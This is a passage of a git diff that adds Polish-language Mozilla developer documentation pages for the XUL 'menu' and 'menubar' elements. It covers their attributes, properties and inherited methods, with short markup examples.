+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<p>TBD
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/menu/index.html b/files/pl/mozilla/tech/xul/menu/index.html
new file mode 100644
index 0000000000..0123198630
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/menu/index.html
@@ -0,0 +1,218 @@
+---
+title: menu
+slug: Mozilla/Tech/XUL/menu
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+ - Strony_wymagające_dopracowania
+translation_of: Archive/Mozilla/XUL/menu
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Element bardzo podobny do <code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code>, który jest umieszczony na <code><a href="/pl/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code>. Kiedy użytkownik kliknie element <code>menu</code>, to potomek <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> z menu zostanie wyświetlony. Ten element jest także stosowany do tworzenia podmenu.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Proste_paski_menu">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-acceltext">acceltext</a>, <a href="#a-accesskey">accesskey</a>, <a href="#a-allowevents">allowevents</a>, <a href="#a-crop">crop</a>, <a href="#a-disabled">disabled</a>, <a href="#a-key">key</a>, <a href="#a-label">label</a>, <a href="#a-menuactive">menuactive</a>, <a href="#a-open">open</a>, <a href="#a-sizetopopup">sizetopopup</a>, <a href="#a-value">value</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-control">control</a>, <a href="#p-open">open</a>, <a href="#p-select">select</a>, <a href="#p-value">value</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre> &lt;menubar id="sample-menubar"&gt;
+ &lt;menu id="file-menu" label="File"&gt;
+ &lt;menupopup id="file-popup"&gt;
+ &lt;menuitem label="New"/&gt;
+ &lt;menuitem label="Open"/&gt;
+ &lt;menuitem label="Save"/&gt;
+ &lt;menuseparator/&gt;
+ &lt;menuitem label="Exit"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;menu id="edit-menu" label="Edit"&gt;
+ &lt;menupopup id="edit-popup"&gt;
+ &lt;menuitem label="Undo"/&gt;
+ &lt;menuitem label="Redo"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;/menubar&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-acceltext">
+
+</div>
+<div id="a-accesskey">
+
+<dl><dt> <code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code></dt>
+<dd> Typ: <i>znak</i>
+</dd><dd> Powinien być ustawiony na literę, która zostanie zastosowana jako klawisz dostępu. Litera ta powinna być jedną z liter, które są wyświetlane w etykiecie tekstowej (<code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code>) dla elementu. </dd></dl>
+<p><br>
+</p>
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<div class="float-right"><img alt="grafika:XUL_ref_accesskey_attr.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;label value="Enter Name" accesskey="e" control="myName"/&gt;
+ &lt;textbox id="myName"/&gt;
+ &lt;button label="Cancel" accesskey="n"/&gt;
+ &lt;button label="Ok" accesskey="O"/&gt;
+&lt;/vbox&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Atrybut <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>, atrybut <code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code>
+</p> <p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-allowevents">
+
+</div>
+<div id="a-crop">
+
+<dl><dt> <code id="a-crop"><a href="http://api/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>
+</dt><dd> Typ: <i>jedna z poniższych wartości</i>
+</dd><dd> Jeśli etykieta elementu jest zbyt duża by zmieścić się w danym miejscu, to jej tekst zostanie skrócony po stronie określonej przy pomocy atrybutu <code>crop</code>. Wycięty fragment tekstu zostanie zastąpiony wielokropkiem. Jeśli kierunek pudełka jest określony w lewą stronę, to skrócenie tekstu nastąpi w tym samym kierunku (czyli z lewej strony):
+</dd></dl>
+<ul><li> <code>start</code>: Tekst będzie skrócony z lewej strony.
+</li><li> <code>end</code>: Tekst będzie skrócony z prawej strony.
+</li><li> <code>left</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z lewej strony.
+</li><li> <code>right</code>: <span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span> Tekst będzie skrócony z prawej strony.
+</li><li> <code>center</code>: Tekst będzie skrócony w środku, pokazując oba końce: początek i koniec normalnego tekstu. </li><li> <code>none</code>: Tekst nie będzie skrócony przy zastosowaniu wielokropka. Jednakże, tekst skrócony zostanie po prostu obcięty, jeśli będzie za duży. Strona skrócenia owego tekstu zależy od rozmieszczenia tekstu określonego w arkuszu stylów CSS.
+</li></ul>
+<pre class="eval"> menupopup &gt; menuitem, menupopup &gt; menu { max-width: none; }
+</pre>
+<p><br>
+</p><p><br>
+</p>
+
+
+</div>
+<div id="a-disabled">
+
+<dl><dt> <code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Określa, czy element jest wyłączony. Jeśli atrybut ten ma wartość <code>true</code>, to element będzie wyłączony. Wyłączone elementy zazwyczaj są wyszarzone. Jeśli element jest wyłączony, nie odpowiada na czynności użytkownika, nie może zostać na niego ustawiony focus, a zdarzenie <i>command</i> nie zostanie wywołane. </dd></dl>
+<div class="float-right"><img alt="grafika:XUL_ref_attr_disabled.png"></div>
+<pre>&lt;!-- Pole wyboru włącza/wyłącza przycisk --&gt;
+&lt;checkbox label="Enable button"
+ onclick="document.getElementById('buttRemove').disabled = this.checked"/&gt;
+&lt;button id="buttRemove" label="Remove All" disabled="true"/&gt;
+</pre>
+</div>
+<div id="a-key">
+
+<dl><dt> <code id="a-key"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/key">key</a></code>
+</dt><dd> Typ: <i>znak</i>
+</dd><dd> Litera, która musi zostać naciśnięta. Powinien to być znak, który może być wyświetlany.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-label">
+
+<dl><dt> <code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta, która zostanie wyświetlona na elemencie. Jeśli zostanie on usunięty, to żaden tekst nie zostanie wyświetlony. </dd></dl>
+
+
+</div>
+<div id="a-menuactive">
+
+</div>
+<div id="a-open">
+
+<dl><dt> {{ XULAttr("open") }}
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Dla przycisków o {{ XULAttr("type") }} ustawionym na <code>menu</code>, atrybut <code>open</code> jest ustawiany na <code>true</code>, kiedy menu jest otwarte. Atrybut <code>open</code> nie jest obecny, jeśli menu jest zamknięte.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+
+{{ languages( { "en": "en/XUL/Attribute/open", "fr": "fr/XUL/Attributs/open", "ja": "ja/XUL/Attribute/open" } ) }}
+</div>
+<div id="a-sizetopopup">
+
+
+<dl>
+ <dt><code id="a-sizetopopup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sizetopopup">sizetopopup</a></code></dt>
+ <dd>Typ:<em>jedna z poniższych wartości</em></dd>
+ <dd>Indicates how the menu width and the <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> width are determined. If the <code>sizetopopup</code> attribute is left out or set to <code>none</code>, the menu will be its preferred width and the popup may extend outside of this width, unaffected by the maximum width of the menu itself.</dd>
+</dl>
+
+<ul>
+ <li><code>none</code>: Szerokość okienka popup nie będzie ograniczało rozmiaru menu.</li>
+ <li><code>always</code>: Jeśli jest ustawiony na <code>always</code>, długość menu będzie taka sama jaka jest potrzebna dla elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>. Jeśli menu posiada maksymalna szerokość, to popup będzie miał tą samą szerokość.</li>
+</ul>
+</div>
+<div id="a-value">
+
+<dl>
+ <dt>
+ <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Atrybut łańcucha znaków pozwalający na współpracę wartości danych z elementem. Nie jest stosowany dla określenia jakiegoś konkretnego celu, lecz można go wykorzystać w skrypcie do własnego użytku.</dd>
+</dl>
+
+<p></p>
+</div>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-control">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/control">control</a></span></code>&lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dt>
+</dl>
+<p></p>
+<dl>
+ <dd>
+ Typ:
+ <i>
+ id elementu</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code>.</dd>
+</dl></div>
+<div id="p-menu.open"></div>
+<div id="p-value">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/value">value</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code>.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULSelectControlItemElement">nsIDOMXULSelectControlItemElement</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/menubar/index.html b/files/pl/mozilla/tech/xul/menubar/index.html
new file mode 100644
index 0000000000..ca5cbbb12d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/menubar/index.html
@@ -0,0 +1,114 @@
+---
+title: menubar
+slug: Mozilla/Tech/XUL/menubar
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/menubar
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Kontener, który zazwyczaj składa się z elementów <code><a href="/pl/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code>. Na Macintosh, pasek menu jest wyświetlony wzdłóż góry okna i wszystkie elementy niebędące menu wewnątrz paska menu, to będą ignorowane.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Proste_paski_menu">kursie XUL</a>.
+</p>
+<dl><dt> Atrybuty
+</dt><dd> <a href="#a-accessible">accessible</a>, <a href="#a-grippyhidden">grippyhidden</a>, <a href="#a-statusbar">statusbar</a>
+</dd></dl>
+<dl><dt> Własności
+</dt><dd> <a href="#p-statusbar">statusbar</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<div class="float-right"><img alt="grafika:XUL_ref_menu.png"></div>
+<pre>&lt;menubar id="sample-menubar"&gt;
+ &lt;menu id="action-menu" label="Action"&gt;
+ &lt;menupopup id="action-popup"&gt;
+ &lt;menuitem label="New"/&gt;
+ &lt;menuitem label="Save" disabled="true"/&gt;
+ &lt;menuitem label="Close"/&gt;
+ &lt;menuseparator/&gt;
+ &lt;menuitem label="Quit"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;menu id="edit-menu" label="Edit"&gt;
+ &lt;menupopup id="edit-popup"&gt;
+ &lt;menuitem label="Undo"/&gt;
+ &lt;menuitem label="Redo"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+&lt;/menubar&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p>
+</p><div id="a-accessible">
+
+<dl><dt> <code id="a-accessible"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accessible">accessible</a></code>
+</dt><dd> Typ: <i><a href="pl/NsIAccessible">nsIAccessible</a></i>
+</dd><dd> Zwraca obiekt dostępności dla elementu.
+</dd></dl>
+<p><br>
+</p>
+
+
+</div>
+<div id="a-grippyhidden">
+
+<dl><dt> <code id="a-grippyhidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/grippyhidden">grippyhidden</a></code>
+</dt><dd> <b><span class="highlightred">Nie w Firefoksie</span></b>
+</dd><dd> Typ: <i>boolean</i>
